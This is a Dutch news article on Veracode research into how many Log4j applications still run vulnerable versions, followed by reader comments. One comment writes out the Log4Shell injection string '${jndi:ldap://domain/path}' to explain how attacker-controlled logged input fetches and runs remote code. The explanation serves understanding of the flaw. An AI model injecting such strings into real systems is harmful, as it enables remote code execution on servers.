image

Onderzoek: bijna 40 procent Log4j-applicaties draait kwetsbare versie

maandag 11 december 2023, 10:06 door Redactie, 7 reacties

Het is inmiddels twee jaar geleden dat een kritieke kwetsbaarheid in de populaire open source Apache Log4j 2-library voor wereldwijde aandacht zorgde. Twee jaar verder blijkt dat bijna veertig procent van de Log4j-applicaties een kwetsbare versie van de library gebruikt. Dat stelt securitybedrijf Veracode op basis van eigen onderzoek.

Log4j 2 is een tool voor het loggen van informatie van Java-applicaties. Zo kunnen ontwikkelaars, door de library aan hun Java-applicatie toe te voegen, bijvoorbeeld problemen met de applicatie ontdekken. Een kwetsbaarheid zorgde ervoor dat wanneer de library een bepaalde string logt een aanvaller willekeurige code kan uitvoeren en zo controle over de applicatieserver kan krijgen.

De kwetsbaarheid, aangeduid als CVE-2021-44228 en Log4Shell, zorgde vanwege de impact en het wijdverbreide gebruik van de software voor zorgen over grootschalig misbruik. Zo vreesde het ministerie van Volksgezondheid voor grote uitval in de zorgsector door het Log4j-lek. De omvang van het daadwerkelijke misbruik bleek later mee te vallen. Toch liet Log4Shell het risico van third-party code binnen applicaties zien en hoe belangrijk het is dat softwareontwikkelaars dergelijke componenten up-to-date houden.

Veracode analyseerde meer dan 38.000 applicaties die van Log4j gebruikmaken. Bijna drie procent blijkt een versie te gebruiken waarin het oorspronkelijk Log4Shell-lek in aanwezig is. Verder draait bijna vier procent van de onderzochte applicaties Log4j2 versie 2.17.0. Deze versie bevat een beveiligingslek dat remote code execution mogelijk maakt. Tevens blijkt 32 procent van de applicaties gebruik te maken van Log4j2 versie 1.2.x. Deze versie is sinds augustus 2015 end-of-life en ontvangt geen updates meer. In deze versie zijn echter meerdere kritieke kwetsbaarheden gevonden die nog altijd ongepatcht zijn.

"Het grotere verhaal op de tweede verjaardag is dat er nog steeds ruimte voor verbetering is wanneer het aankomt op de security van opensourcesoftware. Als Log4Shell weer een voorbeeld was van een lange reeks wake-up calls om strengere open source security practices toe te passen, laat het feit dat één op de drie applicaties een kwetsbare versie van Log4j draait dat er nog veel meer werk is te doen", aldus Veracode.

Reacties (7)
11-12-2023, 10:32 door Bitje-scheef
"Het grotere verhaal op de tweede verjaardag is dat er nog steeds ruimte voor verbetering is wanneer het aankomt op de security van opensourcesoftware. Als Log4Shell weer een voorbeeld was van een lange reeks wake-up calls om strengere open source security practices toe te passen, laat het feit dat één op de drie applicaties een kwetsbare versie van Log4j draait dat er nog veel meer werk is te doen", aldus Veracode.

Dat is voor zowel open- als closed-source vrees ik.
11-12-2023, 11:50 door Anoniem
Door Bitje-scheef:
"Het grotere verhaal op de tweede verjaardag is dat er nog steeds ruimte voor verbetering is wanneer het aankomt op de security van opensourcesoftware. Als Log4Shell weer een voorbeeld was van een lange reeks wake-up calls om strengere open source security practices toe te passen, laat het feit dat één op de drie applicaties een kwetsbare versie van Log4j draait dat er nog veel meer werk is te doen", aldus Veracode.

Dat is voor zowel open- als closed-source vrees ik.
Domme conclusie (get the facts campaign 2.0) , heeft inderdaad op zichzelf niets met opensource te maken. Geldt voor elke software. De een wordt beter onderhouden dan de ander. De een heeft een goed ontwerp met security in mind, de ander niet. Genoeg voorbeelden. Wat mij wel opvalt is dat er weinig impact is geweest met deze software. Hoe kan dat?
11-12-2023, 15:32 door _R0N_
Door Anoniem:
Door Bitje-scheef:
"Het grotere verhaal op de tweede verjaardag is dat er nog steeds ruimte voor verbetering is wanneer het aankomt op de security van opensourcesoftware. Als Log4Shell weer een voorbeeld was van een lange reeks wake-up calls om strengere open source security practices toe te passen, laat het feit dat één op de drie applicaties een kwetsbare versie van Log4j draait dat er nog veel meer werk is te doen", aldus Veracode.

Dat is voor zowel open- als closed-source vrees ik.
Domme conclusie (get the facts campaign 2.0) , heeft inderdaad op zichzelf niets met opensource te maken. Geldt voor elke software. De een wordt beter onderhouden dan de ander. De een heeft een goed ontwerp met security in mind, de ander niet. Genoeg voorbeelden. Wat mij wel opvalt is dat er weinig impact is geweest met deze software. Hoe kan dat?

Mensen (slachtoffers) houden het stil denk ik
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/
11-12-2023, 22:00 door Anoniem
Dat je een kwetsbare versie draait hoeft niet te betekenen dat je kwetsbaar bent.
Je kunt natuurlijk ook de specifieke kwetsbare onderdelen niet gebruiken.

Onder het motto: Als je overdag fiets mag je lamp best kapot zijn.
12-12-2023, 09:23 door Anoniem
Door Anoniem: Dat je een kwetsbare versie draait hoeft niet te betekenen dat je kwetsbaar bent.
Je kunt natuurlijk ook de specifieke kwetsbare onderdelen niet gebruiken.
Het is hier de aanvaller die besluit of het gebruikt wordt. Het gaat hier om een "feature" van Log4j om in gelogde berichten de notatie "${...}" te vervangen door een tekst die volgens de specificatie tussen de accolades wordt geproduceerd. Bijvoorbeeld "${java:version}" levert de Java-versie op waaronder log4j draait. Maar ook "${jndi"<lookup>}" en "${jndi:ldap://domain/path}" werden default ondersteund, en daarmee kan java-code van externe servers wordt opgehaald en die wordt dan doodleuk uitgevoerd. De aanvaller hoeft maar in invoer die gelogd wordt die notatie op te geven en hij kan eigen code injecteren in een applicatieserver.

Onder het motto: Als je overdag fiets mag je lamp best kapot zijn.
Dit is geen goede analogie. Het gaat niet om iets dat het moet doen dat het nu even niet doet; het gaat om iets dat het juist wél doet terwijl je daar als gebruiker/beheerder helemaal geen erg in hebt.

Dit lijkt meer op een fiets die zonder dat je er weet van hebt een zware springveer onder de zadelpen heeft zitten, die geactiveerd wordt als iemand in de buurt "spring!" roept, en dan word de berijder gelanceerd. Een aanvaller die dat trucje ontdekt heeft kan zware ongelukken veroorzaken. Op zo'n fiets moet je niet rijden tot die springveer verwijderd is.

Zo'n springveer hoort natuurlijk om te beginnen helemaal niet in een fiets te zitten. Als een circusartiest een fiets met een springstoel nodig heeft moet die dat zelf maar in elkaar knutselen. Op dezelfde manier hoort een logfaciliteit zich gewoon tot zijn functie te beperken. Een functie waarmee een externe partij de werking van de logfaciliteit kan beïnvloeden, tot remote code-injectie aan toe, hoort er net zo min in thuis als die springveer in die fiets hoort. Wie er toch behoefte aan heeft moet het zelf maar toevoegen (waarvoor ook weer handige kant en klare softwarecomponenten gemaakt kunnen worden; het punt is dat het niet kant en klaar erin moet zitten maar een toevoeging moet zijn die je bewust doet).
12-12-2023, 11:17 door Anoniem
Door _R0N_:
Door Anoniem:
Door Bitje-scheef:
"Het grotere verhaal op de tweede verjaardag is dat er nog steeds ruimte voor verbetering is wanneer het aankomt op de security van opensourcesoftware. Als Log4Shell weer een voorbeeld was van een lange reeks wake-up calls om strengere open source security practices toe te passen, laat het feit dat één op de drie applicaties een kwetsbare versie van Log4j draait dat er nog veel meer werk is te doen", aldus Veracode.

Dat is voor zowel open- als closed-source vrees ik.
Domme conclusie (get the facts campaign 2.0) , heeft inderdaad op zichzelf niets met opensource te maken. Geldt voor elke software. De een wordt beter onderhouden dan de ander. De een heeft een goed ontwerp met security in mind, de ander niet. Genoeg voorbeelden. Wat mij wel opvalt is dat er weinig impact is geweest met deze software. Hoe kan dat?

Mensen (slachtoffers) houden het stil denk ik
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/
Dat lijkt mij lastig als je systemen zijn versleuteld.
12-12-2023, 12:22 door Anoniem
Gelukkig is Log4j alleen maar een tool voor het loggen van informatie van Java-applicaties. Absurd design. De bovengenoemde springveer (hele mooie analogie) hoort er niet in. Het zijn logfiles! geen code injectoren.
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.